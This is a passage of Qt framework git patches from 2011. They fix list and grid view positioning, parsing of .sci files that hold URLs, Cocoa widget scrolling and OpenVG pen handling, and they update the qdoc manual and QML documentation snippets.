                 timeline.move(data.move, maxExtent, QEasingCurve(QEasingCurve::OutExpo), 3*fixupDuration/4);
             } else {
    -            timeline.set(data.move, minExtent);
    +            timeline.set(data.move, maxExtent);
             }
         }
         vTime = timeline.time();
    diff --git a/src/declarative/graphicsitems/qdeclarativegridview.cpp b/src/declarative/graphicsitems/qdeclarativegridview.cpp
    index 89d7493..4c04a6b 100644
    --- a/src/declarative/graphicsitems/qdeclarativegridview.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativegridview.cpp
    @@ -2165,6 +2165,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
         if (d->layoutScheduled)
             d->layout();
         qreal pos = d->position();
    +    qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
         FxGridItem *item = d->visibleItem(index);
         if (!item) {
             int itemPos = d->rowPosAt(index);
    @@ -2172,7 +2173,7 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
             QList oldVisible = d->visibleItems;
             d->visibleItems.clear();
             d->visibleIndex = index - index % d->columns;
    -        d->setPosition(itemPos);
    +        d->setPosition(qMin(qreal(itemPos), maxExtent));
             // now release the reference to all the old visible items.
             for (int i = 0; i < oldVisible.count(); ++i)
                 d->releaseItem(oldVisible.at(i));
    @@ -2202,7 +2203,6 @@ void QDeclarativeGridView::positionViewAtIndex(int index, int mode)
                 if (itemPos < pos)
                     pos = itemPos;
             }
    -        qreal maxExtent = d->flow == QDeclarativeGridView::LeftToRight ? -maxYExtent() : -maxXExtent();
             pos = qMin(pos, maxExtent);
             qreal minExtent = d->flow == QDeclarativeGridView::LeftToRight ? -minYExtent() : -minXExtent();
             pos = qMax(pos, minExtent);
    diff --git a/src/declarative/graphicsitems/qdeclarativelistview.cpp b/src/declarative/graphicsitems/qdeclarativelistview.cpp
    index b4fd571..b4b3fa7 100644
    --- a/src/declarative/graphicsitems/qdeclarativelistview.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativelistview.cpp
    @@ -2603,6 +2603,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
             d->layout();
         qreal pos = d->position();
         FxListItem *item = d->visibleItem(index);
    +    qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
         if (!item) {
             int itemPos = d->positionAt(index);
             // save the currently visible items in case any of them end up visible again
    @@ -2610,7 +2611,7 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
             d->visibleItems.clear();
             d->visiblePos = itemPos;
             d->visibleIndex = index;
    -        d->setPosition(itemPos);
    +        d->setPosition(qMin(qreal(itemPos), maxExtent));
             // now release the reference to all the old visible items.
             for (int i = 0; i < oldVisible.count(); ++i)
                 d->releaseItem(oldVisible.at(i));
    @@ -2640,7 +2641,6 @@ void QDeclarativeListView::positionViewAtIndex(int index, int mode)
                 if (itemPos < pos)
                     pos = itemPos;
             }
    -        qreal maxExtent = d->orient == QDeclarativeListView::Vertical ? -maxYExtent() : -maxXExtent();
             pos = qMin(pos, maxExtent);
             qreal minExtent = d->orient == QDeclarativeListView::Vertical ? -minYExtent() : -minXExtent();
             pos = qMax(pos, minExtent);
    diff --git a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
    index b343010..9b6f04c 100644
    --- a/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
    +++ b/tests/auto/declarative/qdeclarativelistview/tst_qdeclarativelistview.cpp
    @@ -1329,6 +1329,19 @@ void tst_QDeclarativeListView::positionViewAtIndex()
             QTRY_COMPARE(item->y(), i*20.);
         }
     
    +    // Position at End using last index
    +    listview->positionViewAtIndex(model.count()-1, QDeclarativeListView::End);
    +    QTRY_COMPARE(listview->contentY(), 480.);
    +
    +    // Confirm items positioned correctly
    +    itemCount = findItems(contentItem, "wrapper").count();
    +    for (int i = 24; i < model.count(); ++i) {
    +        QDeclarativeItem *item = findItem(contentItem, "wrapper", i);
    +        if (!item) qWarning() << "Item" << i << "not found";
    +        QTRY_VERIFY(item);
    +        QTRY_COMPARE(item->y(), i*20.);
    +    }
    +
         // Position at End
         listview->positionViewAtIndex(20, QDeclarativeListView::End);
         QTRY_COMPARE(listview->contentY(), 100.);
    -- 
    cgit v0.12
    
    
    From 7ddec9f3179bfd854ae53e23ab292de1f9a26377 Mon Sep 17 00:00:00 2001
    From: Martin Jones 
    Date: Fri, 21 Jan 2011 15:38:15 +1000
    Subject: BorderImage fails for .sci source containing a URL
    
    Task-number: QTBUG-16769
    Reviewed-by: Bea Lam
    ---
     src/declarative/graphicsitems/qdeclarativescalegrid.cpp        | 10 +++++-----
     .../qdeclarativeborderimage/data/colors-round-remote.sci       |  7 +++++++
     .../qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp    |  1 +
     3 files changed, 13 insertions(+), 5 deletions(-)
     create mode 100644 tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
    
    diff --git a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
    index 804e91d..3ad0da6 100644
    --- a/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativescalegrid.cpp
    @@ -136,12 +136,12 @@ QDeclarativeGridScaledImage::QDeclarativeGridScaledImage(QIODevice *data)
             if (line.isEmpty() || line.startsWith(QLatin1Char('#')))
                 continue;
     
    -        QStringList list = line.split(QLatin1Char(':'));
    -        if (list.count() != 2)
    +        int colonId = line.indexOf(QLatin1Char(':'));
    +        if (colonId <= 0)
                 return;
    -
    -        list[0] = list[0].trimmed();
    -        list[1] = list[1].trimmed();
    +        QStringList list;
    +        list.append(line.left(colonId).trimmed());
    +        list.append(line.mid(colonId+1).trimmed());
     
             if (list[0] == QLatin1String("border.left"))
                 l = list[1].toInt();
    diff --git a/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
    new file mode 100644
    index 0000000..c673bed
    --- /dev/null
    +++ b/tests/auto/declarative/qdeclarativeborderimage/data/colors-round-remote.sci
    @@ -0,0 +1,7 @@
    +border.left:10
    +border.top:20
    +border.right:30
    +border.bottom:40
    +horizontalTileRule:Round
    +verticalTileRule:Repeat
    +source:http://127.0.0.1:14446/colors.png
    diff --git a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    index e6543e6..bc2f170 100644
    --- a/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    +++ b/tests/auto/declarative/qdeclarativeborderimage/tst_qdeclarativeborderimage.cpp
    @@ -294,6 +294,7 @@ void tst_qdeclarativeborderimage::sciSource_data()
         QTest::newRow("local") << QUrl::fromLocalFile(SRCDIR "/data/colors-round.sci").toString() << true;
         QTest::newRow("local not found") << QUrl::fromLocalFile(SRCDIR "/data/no-such-file.sci").toString() << false;
         QTest::newRow("remote") << SERVER_ADDR "/colors-round.sci" << true;
    +    QTest::newRow("remote image") << SERVER_ADDR "/colors-round-remote.sci" << true;
         QTest::newRow("remote not found") << SERVER_ADDR "/no-such-file.sci" << false;
     }
     
    -- 
    cgit v0.12
    
    
    From 0a1e41a7192f0ac92cba16a82369a6fef633ac3d Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Fri, 21 Jan 2011 09:10:24 +0100
    Subject: Cocoa/Alien: bugfix scrolling, dirty region issue
    
    When scrolling a widget we also need to scroll the already
    marked dirty regions on the widget along with the scroll.
    Since we might end up scrolling several time before a drawRect
    is called (normal with inertia scrolling), we need to mark exposed
    areas during scrolling as dirty as well, so they get handled
    correctly on subsequent scrolls.
    ---
     src/gui/kernel/qwidget_mac.mm | 87 +++++++++++++++++++++----------------------
     1 file changed, 42 insertions(+), 45 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 8d6c09c..4e488bf 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4772,6 +4772,34 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
             if (!view)
                 return;
     
    +        // Calculate the rectangles that needs to be redrawn
    +        // after the scroll. This will be source rect minus destination rect:
    +        QRect deltaXRect;
    +        if (dx != 0) {
    +            deltaXRect.setY(validScrollRect.y());
    +            deltaXRect.setHeight(validScrollRect.height());
    +            if (dx > 0) {
    +                deltaXRect.setX(validScrollRect.x());
    +                deltaXRect.setWidth(dx);
    +            } else {
    +                deltaXRect.setX(validScrollRect.x() + validScrollRect.width() + dx);
    +                deltaXRect.setWidth(-dx);
    +            }
    +        }
    +
    +        QRect deltaYRect;
    +        if (dy != 0) {
    +            deltaYRect.setX(validScrollRect.x());
    +            deltaYRect.setWidth(validScrollRect.width());
    +            if (dy > 0) {
    +                deltaYRect.setY(validScrollRect.y());
    +                deltaYRect.setHeight(dy);
    +           } else {
    +                deltaYRect.setY(validScrollRect.y() + validScrollRect.height() + dy);
    +                deltaYRect.setHeight(-dy);
    +            }
    +        }
    +
             if (isAlien) {
                 // Since q is alien, we need to translate the scroll rect:
                 QPoint widgetTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(QPoint()));
    @@ -4805,44 +4833,12 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
                 }
             }
     
    +        // Now, scroll the pixels:
             NSRect nsscrollRect = NSMakeRect(
                 validScrollRect.x(), validScrollRect.y(),
                 validScrollRect.width(), validScrollRect.height());
    -
    -        // Calculate the rectangles that needs to be redrawn
    -        // after the scroll. This will be source rect minus destination rect:
    -
    -        NSRect deltaXRect = { {0, 0}, {0, 0} };
    -        NSRect deltaYRect = { {0, 0}, {0, 0} };
    -
    -        if (dy != 0) {
    -            deltaYRect.size.width = nsscrollRect.size.width;
    -            deltaYRect.origin.x = nsscrollRect.origin.x;
    -            if (dy > 0) {
    -                deltaYRect.size.height = dy;
    -                deltaYRect.origin.y = nsscrollRect.origin.y;
    -            } else {
    -                deltaYRect.size.height = -dy;
    -                deltaYRect.origin.y = nsscrollRect.origin.y + nsscrollRect.size.height + dy;
    -            }
    -        }
    -
    -        if (dx != 0) {
    -            deltaXRect.size.height = nsscrollRect.size.height;
    -            deltaXRect.origin.y = nsscrollRect.origin.y;
    -            if (dx > 0) {
    -                deltaXRect.size.width = dx;
    -                deltaXRect.origin.x = nsscrollRect.origin.x;
    -            } else {
    -                deltaXRect.size.width = -dx;
    -                deltaXRect.origin.x = nsscrollRect.origin.x + nsscrollRect.size.width + dx;
    -            }
    -        }
    -
             NSSize deltaSize = NSMakeSize(dx, dy);
             [view scrollRect:nsscrollRect by:deltaSize];
    -        [view setNeedsDisplayInRect:deltaXRect];
    -        [view setNeedsDisplayInRect:deltaYRect];
     
             // Some areas inside the scroll rect might have been marked as dirty from before, which
             // means that they are scheduled to be redrawn. But as we now scroll, those dirty rects
    @@ -4851,19 +4847,20 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
             // rect, the old calls to setNeedsDisplay still makes sense.
             // NB: Using [view translateRectsNeedingDisplayInRect:nsscrollRect by:deltaSize] have
             // so far not been proven fruitful to solve this problem.
    -        const QVector &rects = dirtyOnWidget.rects();
    -        const QVector::const_iterator end = rects.end();
    -        QVector::const_iterator it = rects.begin();
    -        while (it != end) {
    -            QRect qdirtyRect = *it;
    -            if (isAlien) {
    -                const QPoint dirtyTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(qdirtyRect.topLeft()));
    -                qdirtyRect.moveTo(dirtyTopLeftInsideNative);
    -            }
    -            const NSRect nsdirtyRect = NSMakeRect(qdirtyRect.x() + dx, qdirtyRect.y() + dy, qdirtyRect.width(), qdirtyRect.height());
    -            [view setNeedsDisplayInRect:nsdirtyRect];
    -            ++it;
    +        const QVector &dirtyRectsToScroll = dirtyOnWidget.rects();
    +        for (int i=0; i
    Date: Fri, 21 Jan 2011 13:03:57 +0100
    Subject: Cocoa/Alien: keep the scrolling within correct bounds
    
    ---
     src/gui/kernel/qt_cocoa_helpers_mac.mm |  2 ++
     src/gui/kernel/qwidget_mac.mm          | 35 +++++++++-------------------------
     2 files changed, 11 insertions(+), 26 deletions(-)
    
    diff --git a/src/gui/kernel/qt_cocoa_helpers_mac.mm b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    index 19e0996..35b9d52 100644
    --- a/src/gui/kernel/qt_cocoa_helpers_mac.mm
    +++ b/src/gui/kernel/qt_cocoa_helpers_mac.mm
    @@ -93,9 +93,11 @@
     
     QT_BEGIN_NAMESPACE
     
    +#ifdef QT_MAC_USE_COCOA
     // Cmd + left mousebutton should produce a right button
     //  press (mainly for mac users with one-button mice):
     static bool qt_leftButtonIsRightButton = false;
    +#endif
     
     Q_GLOBAL_STATIC(QMacWindowFader, macwindowFader);
     
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 4e488bf..5fe35db 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4667,8 +4667,10 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
             accelEnv = qgetenv("QT_NO_FAST_SCROLL").toInt() == 0;
         }
     
    -    // Scroll the whole widget instead if qscrollRect is not valid:
    +    // Scroll the whole widget if qscrollRect is not valid:
         QRect validScrollRect = qscrollRect.isValid() ? qscrollRect : q->rect();
    +    validScrollRect &= clipRect();
    +
         // If q is overlapped by other widgets, we cannot just blit pixels since
         // this will move overlapping widgets as well. In case we just update:
         const bool overlapped = isOverlapped(validScrollRect.translated(data.crect.topLeft()));
    @@ -4809,34 +4811,15 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
     
                 // Adjust the scroll rect to the location as seen from the native parent:
                 validScrollRect.moveTo(scrollTopLeftInsideNative);
    -
    -            // Ensure that that the destination rect of the
    -            // scroll doesn't draw outside of q's geometry:
    -            if (dy != 0) {
    -                if (scrollTopLeftInsideNative.y() + dy < widgetTopLeftInsideNative.y()) {
    -                    // Scrolling outside top
    -                    validScrollRect.setTop(widgetTopLeftInsideNative.y() - dy);
    -                } else if (scrollBottomRightInsideNative.y() + dy > widgetBottomRightInsideNative.y()) {
    -                    // Scrolling outside bottom
    -                    validScrollRect.setBottom(widgetBottomRightInsideNative.y() - dy);
    -                }
    -            }
    -
    -            if (dx != 0) {
    -                if (scrollTopLeftInsideNative.x() + dx < widgetTopLeftInsideNative.x()) {
    -                    // Scrolling outside left edge
    -                    validScrollRect.setLeft(widgetTopLeftInsideNative.x() - dx);
    -                } else if (scrollBottomRightInsideNative.x() + dx > widgetBottomRightInsideNative.x()) {
    -                    // Scrolling outside right edge
    -                    validScrollRect.setRight(widgetBottomRightInsideNative.x() - dx);
    -                }
    -            }
             }
     
    -        // Now, scroll the pixels:
    +        // Make the pixel copy rect within the validScrollRect bounds:
             NSRect nsscrollRect = NSMakeRect(
    -            validScrollRect.x(), validScrollRect.y(),
    -            validScrollRect.width(), validScrollRect.height());
    +            validScrollRect.x() + (dx < 0 ? -dx : 0),
    +            validScrollRect.y() + (dy < 0 ? -dy : 0),
    +            validScrollRect.width() + (dx > 0 ? -dx : 0),
    +            validScrollRect.height() + (dy > 0 ? -dy : 0));
    +
             NSSize deltaSize = NSMakeSize(dx, dy);
             [view scrollRect:nsscrollRect by:deltaSize];
     
    -- 
    cgit v0.12
    
    
    From 5bd4db40eb545c0e5ff121876630ae8b952e957d Mon Sep 17 00:00:00 2001
    From: Jani Hautakangas 
    Date: Fri, 21 Jan 2011 13:37:46 +0100
    Subject: Fix to pen state handling in OpenVG paint engine.
    
    Shape should not be filled using pen if pen brush
    type is NoBrush. OpenVG paint engine didn't check
    NoBrush case when applying pen.
    
    Task-number: QTBUG-15870
    Reviewed-by: Gunnar
    ---
     src/openvg/qpaintengine_vg.cpp | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/openvg/qpaintengine_vg.cpp b/src/openvg/qpaintengine_vg.cpp
    index b90811d..a15f0c3 100644
    --- a/src/openvg/qpaintengine_vg.cpp
    +++ b/src/openvg/qpaintengine_vg.cpp
    @@ -1472,7 +1472,7 @@ void QVGPaintEnginePrivate::draw
         (VGPath path, const QPen& pen, const QBrush& brush, VGint rule)
     {
         VGbitfield mode = 0;
    -    if (pen.style() != Qt::NoPen) {
    +    if (qpen_style(pen) != Qt::NoPen && qbrush_style(qpen_brush(pen)) != Qt::NoBrush) {
             ensurePen(pen);
             mode |= VG_STROKE_PATH;
         }
    -- 
    cgit v0.12
    
    
    From 2d5d354068e18de999c0316c2356726f9fe69fca Mon Sep 17 00:00:00 2001
    From: David Boddie 
    Date: Fri, 21 Jan 2011 14:24:40 +0100
    Subject: Doc: Updated the qdoc manual.
    
    ---
     tools/qdoc3/doc/qdoc-manual.qdoc | 33 +++++++++++++++++++++------------
     1 file changed, 21 insertions(+), 12 deletions(-)
    
    diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
    index b557ad9..5b908d2 100644
    --- a/tools/qdoc3/doc/qdoc-manual.qdoc
    +++ b/tools/qdoc3/doc/qdoc-manual.qdoc
    @@ -7804,20 +7804,14 @@
                about this process.
     
         \row
    -        \o \bold slow \target slow
    -        \o \bold {The \c slow variable specifies whether QDoc should do
    -           time-consuming processing, such as syntax highlighting.}
    +        \o \bold slow (removed) \target slow
    +        \o \bold {The \c slow variable previously specified whether QDoc should
    +           do time-consuming processing, such as syntax highlighting.}
     
    -           By default, this setting is false.
    +           This option has been replaced by the \l{syntaxhighlighing} option.
     
    -           Example:
    -
    -           \code
    -               slow = true
    -           \endcode
    -
    -           Another way to turn on "slowness" is to invoke QDoc with the
    -           \c -slow command-line option.
    +           For compatibility, the \c -slow command-line option has been
    +           retained. This has the effect of enabling syntax highlighting.
     
         \row
             \o \bold sourcedirs \target sourcedirs
    @@ -7957,6 +7951,21 @@
                \endcode
     
         \row
    +        \o \bold syntaxhighlighting \target syntaxhighlighting
    +        \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
    +           should perform syntax highlighting on source code quoted in the
    +           documentation it output.}
    +
    +           For example:
    +
    +           \code
    +           syntaxhighlighting = true
    +           \endcode
    +
    +           will enable syntax highlighting for all supported programming
    +           languages.
    +
    +    \row
             \o \bold tabsize \target tabsize
             \o \bold {The \c tabsize variable defines the size of a tab
                character.}
    -- 
    cgit v0.12
    
    
    From 48c18015d1ec7ecd13b4f370cd1deff34b51dbfd Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Fri, 21 Jan 2011 15:22:42 +0100
    Subject: Cocoa/Alien: remove unneded code for scrolling with alien
    
    ---
     src/gui/kernel/qwidget_mac.mm | 7 +------
     1 file changed, 1 insertion(+), 6 deletions(-)
    
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 5fe35db..67b72aa 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4803,13 +4803,8 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
             }
     
             if (isAlien) {
    -            // Since q is alien, we need to translate the scroll rect:
    -            QPoint widgetTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(QPoint()));
    -            QPoint widgetBottomRightInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(q->rect().bottomRight()));
    -            QPoint scrollTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.topLeft()));
    -            QPoint scrollBottomRightInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.bottomRight()));
    -
                 // Adjust the scroll rect to the location as seen from the native parent:
    +            QPoint scrollTopLeftInsideNative = nativeWidget->mapFromGlobal(q->mapToGlobal(validScrollRect.topLeft()));
                 validScrollRect.moveTo(scrollTopLeftInsideNative);
             }
     
    -- 
    cgit v0.12
    
    
    From 002e3f471025fe4f84d2dd8dd07c440808d7a839 Mon Sep 17 00:00:00 2001
    From: Richard Moe Gustavsen 
    Date: Fri, 21 Jan 2011 15:44:30 +0100
    Subject: Cocoa/Alien: replace depricated API
    
    ---
     src/gui/kernel/qwidget_mac.mm | 2 +-
     1 file changed, 1 insertion(+), 1 deletion(-)
    
    diff --git a/src/gui/kernel/qwidget_mac.mm b/src/gui/kernel/qwidget_mac.mm
    index 67b72aa..f8254ec 100644
    --- a/src/gui/kernel/qwidget_mac.mm
    +++ b/src/gui/kernel/qwidget_mac.mm
    @@ -4828,7 +4828,7 @@ void QWidgetPrivate::scroll_sys(int dx, int dy, const QRect &qscrollRect)
             const QVector &dirtyRectsToScroll = dirtyOnWidget.rects();
             for (int i=0; i
    Date: Fri, 21 Jan 2011 16:10:54 +0100
    Subject: Doc: Fixed the syntax of QML code snippets.
    
    ---
     doc/src/declarative/qdeclarativestates.qdoc        |  37 +++----
     .../snippets/declarative/mousearea/mousearea.qml   | 116 ++++++++++-----------
     doc/src/snippets/declarative/propertyanimation.qml |  24 ++---
     .../graphicsitems/qdeclarativepathview.cpp         |  14 +--
     src/declarative/util/qdeclarativeanimation.cpp     |   4 +-
     src/declarative/util/qdeclarativeconnections.cpp   |   6 +-
     6 files changed, 98 insertions(+), 103 deletions(-)
    
    diff --git a/doc/src/declarative/qdeclarativestates.qdoc b/doc/src/declarative/qdeclarativestates.qdoc
    index b663d43..69b348b 100644
    --- a/doc/src/declarative/qdeclarativestates.qdoc
    +++ b/doc/src/declarative/qdeclarativestates.qdoc
    @@ -71,7 +71,7 @@ of an item, set the \l {Item::}{state} property to the name of the state.
     Non-Item objects can use states through the StateGroup element.
     
     
    -\section1 Creating states
    +\section1 Creating States
     
     To create a state, add a \l State object to the item's \l {Item::}{states} property,
     which holds a list of states for that item.
    @@ -91,7 +91,7 @@ objects, not just the object that owns the state. For example:
     
     \qml
     Rectangle {
    -    ...
    +    // ...
         states: [
             State {
                 name: "moved"
    @@ -106,14 +106,7 @@ As a convenience, if an item only has one state, its \l {Item::}{states}
     property can be defined as a single \l State, without the square-brace list
     syntax:
     
    -\qml
    -Item {
    -    ...
    -    states: State {
    -        ...
    -    }
    -}
    -\endqml
    +\snippet doc/src/snippets/declarative/propertyanimation.qml single state
     
     A \l State is not limited to performing modifications on property values. It 
     can also:
    @@ -130,7 +123,7 @@ demonstrates how to declare a basic set of states and apply animated
     transitions between them.
     
     
    -\section1 The default state
    +\section1 The Default State
     
     Of course, the \l Rectangle in the example above could have simply been moved
     by setting its position to (50, 50) in the mouse area's \c onClicked handler.
    @@ -146,7 +139,7 @@ like this:
     
     \qml 
     Rectangle {
    -    ...
    +    // ...
     
         MouseArea {
             id: mouseArea
    @@ -154,8 +147,9 @@ Rectangle {
         }
     
         states: State {
    -        name: "moved"; when: mouseArea.pressed
    -        ...
    +        name: "moved"
    +        when: mouseArea.pressed
    +        // ...
         }
     }
     \endqml 
    @@ -171,7 +165,7 @@ using the \l {State::}{when} property, the above code could be changed to:
     
     \qml 
     Rectangle {
    -    ...
    +    // ...
     
         MouseArea {
             anchors.fill: parent
    @@ -181,7 +175,7 @@ Rectangle {
     
         states: State {
             name: "moved"
    -        ...
    +        // ...
         }
     }
     \endqml 
    @@ -191,7 +185,7 @@ as it provides a simpler (and a better, more declarative) solution than
     assigning the state from signal handlers.
     
     
    -\section1 Animating state changes
    +\section1 Animating State Changes
     
     
     State changes can be easily animated through \l {Transitions}{transitions}. A
    @@ -203,12 +197,14 @@ movement of the \l Rectangle would be animated:
     
     \qml
     Rectangle {
    -    ...
    +    // ...
     
    -    MouseArea { ... }
    +    MouseArea {
    +        // Handle mouse events...
    +    }
     
         states: [
    -       ...
    +       // States are defined here...
         ]
          
         transitions: [
    @@ -224,5 +220,4 @@ during a state change within this item, their values should be animated over 500
     milliseconds.
     
     See the \l Transitions documentation for more information.
    -
     */
    diff --git a/doc/src/snippets/declarative/mousearea/mousearea.qml b/doc/src/snippets/declarative/mousearea/mousearea.qml
    index 7cd0a77..1dc0598 100644
    --- a/doc/src/snippets/declarative/mousearea/mousearea.qml
    +++ b/doc/src/snippets/declarative/mousearea/mousearea.qml
    @@ -46,74 +46,72 @@ Rectangle {
         width: childrenRect.width
         height: childrenRect.height
     
    -Row {
    +    Row {
    +        //! [intro]
    +        Rectangle {
    +            width: 100; height: 100
    +            color: "green"
     
    -//! [intro]
    -Rectangle { 
    -    width: 100; height: 100
    -    color: "green"
    -
    -    MouseArea { 
    -        anchors.fill: parent
    -        onClicked: { parent.color = 'red' }
    -    }
    -}
    -//! [intro]
    +            MouseArea {
    +                anchors.fill: parent
    +                onClicked: { parent.color = 'red' }
    +            }
    +        }
    +        //! [intro]
     
    -//! [intro-extended]
    -Rectangle {
    -    width: 100; height: 100
    -    color: "green"
    +        //! [intro-extended]
    +        Rectangle {
    +            width: 100; height: 100
    +            color: "green"
     
    -    MouseArea {
    -        anchors.fill: parent
    -        acceptedButtons: Qt.LeftButton | Qt.RightButton
    -        onClicked: {
    -            if (mouse.button == Qt.RightButton)
    -                parent.color = 'blue';
    -            else
    -                parent.color = 'red';
    +            MouseArea {
    +                anchors.fill: parent
    +                acceptedButtons: Qt.LeftButton | Qt.RightButton
    +                onClicked: {
    +                    if (mouse.button == Qt.RightButton)
    +                        parent.color = 'blue';
    +                    else
    +                        parent.color = 'red';
    +                }
    +            }
             }
    -    }
    -}
    -//! [intro-extended]
    +        //! [intro-extended]
     
    -//! [drag]
    -Rectangle {
    -    id: container
    -    width: 600; height: 200
    +        //! [drag]
    +        Rectangle {
    +            id: container
    +            width: 600; height: 200
     
    -    Rectangle {
    -        id: rect
    -        width: 50; height: 50
    -        color: "red"
    -        opacity: (600.0 - rect.x) / 600
    +            Rectangle {
    +                id: rect
    +                width: 50; height: 50
    +                color: "red"
    +                opacity: (600.0 - rect.x) / 600
     
    -        MouseArea {
    -            anchors.fill: parent
    -            drag.target: rect
    -            drag.axis: Drag.XAxis
    -            drag.minimumX: 0
    -            drag.maximumX: container.width - rect.width
    +                MouseArea {
    +                    anchors.fill: parent
    +                    drag.target: rect
    +                    drag.axis: Drag.XAxis
    +                    drag.minimumX: 0
    +                    drag.maximumX: container.width - rect.width
    +                }
    +            }
             }
    -    }
    -}
    -//! [drag]
    +        //! [drag]
     
    -//! [mousebuttons]
    -Text {
    -    text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
    -    horizontalAlignment: Text.AlignHCenter
    -    verticalAlignment: Text.AlignVCenter
    -
    -    MouseArea {
    -        id: mouseArea
    -        anchors.fill: parent
    -        acceptedButtons: Qt.LeftButton | Qt.RightButton
    -    }
    -}
    -//! [mousebuttons]
    +        //! [mousebuttons]
    +        Text {
    +            text: mouseArea.pressedButtons & Qt.RightButton ? "right" : ""
    +            horizontalAlignment: Text.AlignHCenter
    +            verticalAlignment: Text.AlignVCenter
     
    -}
    +            MouseArea {
    +                id: mouseArea
    +                anchors.fill: parent
    +                acceptedButtons: Qt.LeftButton | Qt.RightButton
    +            }
    +        }
    +        //! [mousebuttons]
     
    +    }
     }
    diff --git a/doc/src/snippets/declarative/propertyanimation.qml b/doc/src/snippets/declarative/propertyanimation.qml
    index 1f1cbaf..30eeba8 100644
    --- a/doc/src/snippets/declarative/propertyanimation.qml
    +++ b/doc/src/snippets/declarative/propertyanimation.qml
    @@ -48,10 +48,12 @@ Rectangle {
         width: 100; height: 100
         color: "red"
     
    +    //! [single state]
         states: State {
             name: "moved"
             PropertyChanges { target: rect; x: 50 }
         }
    +    //! [single state]
     
         transitions: Transition { 
             PropertyAnimation { properties: "x,y"; easing.type: Easing.InOutQuad } 
    @@ -83,18 +85,16 @@ Rectangle {
     }
     //![propertyvaluesource]
     
    -//![standalone]
    -Rectangle {
    -    id: theRect
    -    width: 100; height: 100
    -    color: "red"
    -
    -    // this is a standalone animation, it's not running by default
    -    PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
    -
    -    MouseArea { anchors.fill: parent; onClicked: animation.running = true }
    -}
    -//![standalone]
    +    //![standalone]
    +    Rectangle {
    +        id: theRect
    +        width: 100; height: 100
    +        color: "red"
     
    +        // this is a standalone animation, it's not running by default
    +        PropertyAnimation { id: animation; target: theRect; property: "width"; to: 30; duration: 500 }
     
    +        MouseArea { anchors.fill: parent; onClicked: animation.running = true }
    +    }
    +    //![standalone]
     }
    diff --git a/src/declarative/graphicsitems/qdeclarativepathview.cpp b/src/declarative/graphicsitems/qdeclarativepathview.cpp
    index 87ea214..29838f6 100644
    --- a/src/declarative/graphicsitems/qdeclarativepathview.cpp
    +++ b/src/declarative/graphicsitems/qdeclarativepathview.cpp
    @@ -379,14 +379,14 @@ void QDeclarativePathViewPrivate::regenerate()
         \l decrementCurrentIndex() or \l incrementCurrentIndex(), for example to navigate
         using the left and right arrow keys:
     
    -    \code
    +    \qml
         PathView {
    -        ...
    +        // ...
             focus: true
             Keys.onLeftPressed: decrementCurrentIndex()
             Keys.onRightPressed: incrementCurrentIndex()
         }
    -    \endcode
    +    \endqml
     
         The path view itself is a focus scope (see \l{qmlfocus#Acquiring Focus and Focus Scopes}{the focus documentation page} for more details).
     
    @@ -437,7 +437,7 @@ QDeclarativePathView::~QDeclarativePathView()
         Component {
             Rectangle {
                 visible: PathView.onPath
    -            ...
    +            // ...
             }
         }
         \endqml
